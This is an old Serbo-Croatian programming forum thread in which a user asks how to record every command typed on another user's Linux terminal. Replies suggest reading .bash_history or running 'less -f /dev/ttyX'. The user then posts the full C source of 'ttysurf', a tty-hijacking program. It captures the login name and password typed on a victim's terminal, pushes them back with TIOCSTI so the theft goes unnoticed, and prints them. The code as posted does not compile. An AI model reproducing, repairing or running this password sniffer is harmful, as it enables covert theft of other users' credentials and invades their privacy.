Navigacija
Lista poslednjih: 16, 32, 64, 128 poruka.

sniffing...

[es] :: C/C++ programiranje :: sniffing...

[ Pregleda: 3945 | Odgovora: 8 ] > FB > Twit

Postavi temu Odgovori

Autor

Pretraga teme: Traži
Markiranje Štampanje RSS

glupi

Član broj: 836
Poruke: 199
*.srce.hr



Profil

icon sniffing...09.01.2002. u 23:06 - pre 270 meseci
Ovako htio bih napravit program koji ce sa nekog ttya(linux) zapisivati sve upisane komande. E sada mene zanima kako bi to mogao napravit?
Kako da citam iz userovog tty-a??
 
Odgovor na temu

anon676

Član broj: 676
Poruke: 759
*.verat.net



Profil

icon Re: sniffing...09.01.2002. u 23:13 - pre 270 meseci
znas kako...to ti u principu i nije potrebno, ako tvoji korisnici koriste bash citaj njihove .bash_history-e
 
Odgovor na temu

BaCkSpAcE

Član broj: 10
Poruke: 518
195.252.103.*



Profil

icon Re: sniffing...09.01.2002. u 23:45 - pre 270 meseci
darkmind: covek hoce da to radi real-time vremenu, a u ostalom, sta ako taj korisnik dobije roota pa obrise .bash_history...

pametni: mislim da sam vidjao neko parce koda po tom pitanju... mislim da se zove ttysurf ili tako nesto...

p0zdrav
 
Odgovor na temu

Gojko Vujovic
Amsterdam, NL

Administrator
Član broj: 1
Poruke: 13651



+165 Profil

icon Re: sniffing...10.01.2002. u 03:23 - pre 270 meseci
Ne mora da ima root-a da bi obrisao .bash_history ili ga linkovao na /dev/null na primer.
 
Odgovor na temu

anon676

Član broj: 676
Poruke: 759
*.verat.net



Profil

icon Re: sniffing...10.01.2002. u 10:46 - pre 270 meseci
znam i ja sta on hoce...pa ako je tako neka lepo stavi neki ids, ili sta vec hoce...
 
Odgovor na temu

anon676

Član broj: 676
Poruke: 759
*.verat.net



Profil

icon Re: sniffing...10.01.2002. u 10:49 - pre 270 meseci
usput probaj snort...ili ako volis da sniffas mrezu probaj iptraf
 
Odgovor na temu

anon676

Član broj: 676
Poruke: 759
*.verat.net



Profil

icon Re: sniffing...10.01.2002. u 10:51 - pre 270 meseci
uostalom sta da se jebes sa ceom kada to mozes ocas posla napisati u bashu...gledaj primer

less -f /dev/ttyX
 
Odgovor na temu

Ivan Tanasic
BGD-SRBIJA

Član broj: 220
Poruke: 965
*.verat.net

Jabber: Autoexes@jabber.sk
ICQ: 129145438


Profil

icon Re: sniffing...10.01.2002. u 12:40 - pre 270 meseci
Citat:
dARKmIND:
uostalom sta da se jebes sa ceom kada to mozes ocas posla napisati u bashu...gledaj primer

less -f /dev/ttyX


Zato sto covek oce da uradi u c, kakvo je to pitanje ?? ;)

Ma za te stvari ti je zakon da uzmes gotov kod i procitas sta te zanima, mozda kasnije dobijes ideju....

Ivan Tanasic - Autoexes

>cd pub
>more beer
 
Odgovor na temu

glupi

Član broj: 836
Poruke: 199
*.srce.hr



Profil

icon Re: sniffing...10.01.2002. u 21:23 - pre 270 meseci
Naso sam jedan program ttysurf ali ga nemogu sompajlirat javlja mi neke greske, ali ne mogu prokljuvit zasto ako neko moze pogledat pa mi rec eventualno rjesenja (ako ga ima)??


#include <stdio.h>
#include <signal.h>
#include <fcntl.h>
#include <errno.h>
#include <sys/types.h>
#include <sys/termios.h>

#define DEBUG 1 /* Enable additional debugging info (needed!) */
#define USLEEP /* Define this if your UNIX supports usleep() */

#ifdef ULTRIX
#define TCGETS TCGETP /* Get termios structure */
#define TCSETS TCSANOW /* Set termios structure */
#endif


handler(signal)
int signal; /* signalnumber */
{ /* do nothing, ignore the signal */
if(DEBUG) printf("Ignoring signal %d\n",signal);
}

int readandpush(f,string)
FILE *f;
char *string;
{
char *cp,*result;
int e;
struct termios termios;

result=fgets(string,20,f); /* Read a line into string */
if (result==NULL)
{ perror("fgets()");
return(1);
}
if (DEBUG)
{ printf("String: %s\n",string);
fflush(stdout);
}

ioctl(0,TCGETS,&termios); /* These 3 lines turn off input echo */
/* echo = (termios.c_lflag & ECHO); */
termios.c_lflag=((termios.c_lflag | ECHO) - ECHO);
ioctl(0,TCSETS,&termios);

for (cp=string;*cp;cp++) /* Push it back as input */
{ e=ioctl(0,TIOCSTI,cp);
if(e<0)
{ perror("ioctl()");
return(1);
}
}
return(0);
}

main(argc,argv)
int argc;
char *argv[];
{
/* variables */
int err;
FILE *f;
char *term = "12345678901234567890";
char *login = "12345678901234567890";
char *password = "12345678901234567890";
if (argc < 2)
{ printf("Usage: %s /dev/ttyp?\nDon't forget to redirect the output to a file !\n",argv[0]);
printf("Enter ttyname: ");
gets(term);
}
else term=argv[argc-1];

signal(SIGQUIT,handler);
signal(SIGINT,handler);
signal(SIGTERM,handler);
signal(SIGHUP,handler);
signal(SIGTTOU,handler);

close(0); /* close stdin */
#ifdef ULTRIX
if(setpgrp(0,100)==-1)
perror("setpgrp:"); /* Hopefully this works */
#else
if(setsid()==-1)
perror("setsid:"); /* Disconnect from our controlling TTY and
start a new session as sessionleader */
#endif
f=fopen(term,"r"); /* Open tty as a stream, this guarantees
getting file descriptor 0 */
if (f==NULL)
{ printf("Error opening %s with fopen()\n",term);
exit(2);
}
if (DEBUG) system("ps -xu>>/dev/null &");
fclose(f); /* Close the TTY again */
f=fopen("/dev/tty","r"); /* We can now use /dev/tty instead */
if (f==NULL)
{ printf("Error opening /dev/tty with fopen()\n",term);
exit(2);
}

if(readandpush(f,login)==0)
{
#ifdef USLEEP
usleep(20000); /* This gives login(1) a chance to read the
string, or the second call would read the
input that the first call pushed back ! /*
#else
for(i=0;i<1000;i++)
err=err+(i*i)
/* error /* Alternatives not yet implemented */
#endif
readandpush(f,password);
printf("Result: First: %s Second: %s\n",login,password);
}

fflush(stdout);
sleep(30); /* Waste some time, to prevent that we send a SIGHUP
to login(1), which would kill the user. Instead,
wait a while. We then send SIGHUP to the shell of
the user, which will ignore it. */
fclose(f);
}




 
Odgovor na temu

[es] :: C/C++ programiranje :: sniffing...

[ Pregleda: 3945 | Odgovora: 8 ] > FB > Twit

Postavi temu Odgovori

Navigacija
Lista poslednjih: 16, 32, 64, 128 poruka.